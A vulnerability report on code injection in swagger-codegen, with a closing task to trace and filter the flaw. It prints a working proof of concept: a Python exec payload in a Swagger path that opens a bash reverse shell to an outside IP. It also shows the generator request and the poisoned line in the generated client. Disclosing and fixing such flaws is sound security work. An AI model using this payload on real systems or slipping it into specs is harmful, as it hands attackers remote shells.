Potential code injection vulnerability when generate the API client code from external swagger

Description

An evil swagger can inject codes in generated API client, which will trigger RCE vulnerability while the API client is running.

This means using swagger-codegen to generate client codes for external swagger is risky.

Swagger-codegen version

latest

Swagger declaration file content or url

http://119.45.124.62/evil_swagger_codegen.json

Command line used for generation

Steps to reproduce

1. edit https://petstore.swagger.io/v2/swagger.json, inject python codes in swagger declaration:

	"schemes": ["https", "http"],
	"paths": {
		"/pet/{petId}/uploadImage'+str(exec('import os;os.system(\"/bin/bash -i >& /dev/tcp/119.45.124.62/888 0>&1\")'))+'": {
			"post": {

2. using swagger-codegen to generate a python client.

curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://119.45.124.62/swagger.json"}' https://generator.swagger.io/api/gen/clients/python

3. download generated python client, payloads injected in swagger_client/api/pet_api.py

return self.api_client.call_api(
            '/pet/{petId}/uploadImage'+str(exec('import os;os.system("/bin/bash -i >& /dev/tcp/119.45.124.62/888 0>&1")'))+'', 'POST',
            path_params,
            query_params,
            header_params,
            body=body_params,

Related issues/PRs

Null

Suggest a fix/enhancement

add security filters while parsing the swagger file.

Start with the swagger-codegen generation request and the generated Python file swagger_client/api/pet_api.py shown in the report. Trace how the injected path value from the Swagger declaration reaches the generated client, then determine the security filtering boundary. Done means the supplied malicious declaration no longer places executable content in the generated client while normal declarations still generate successfully.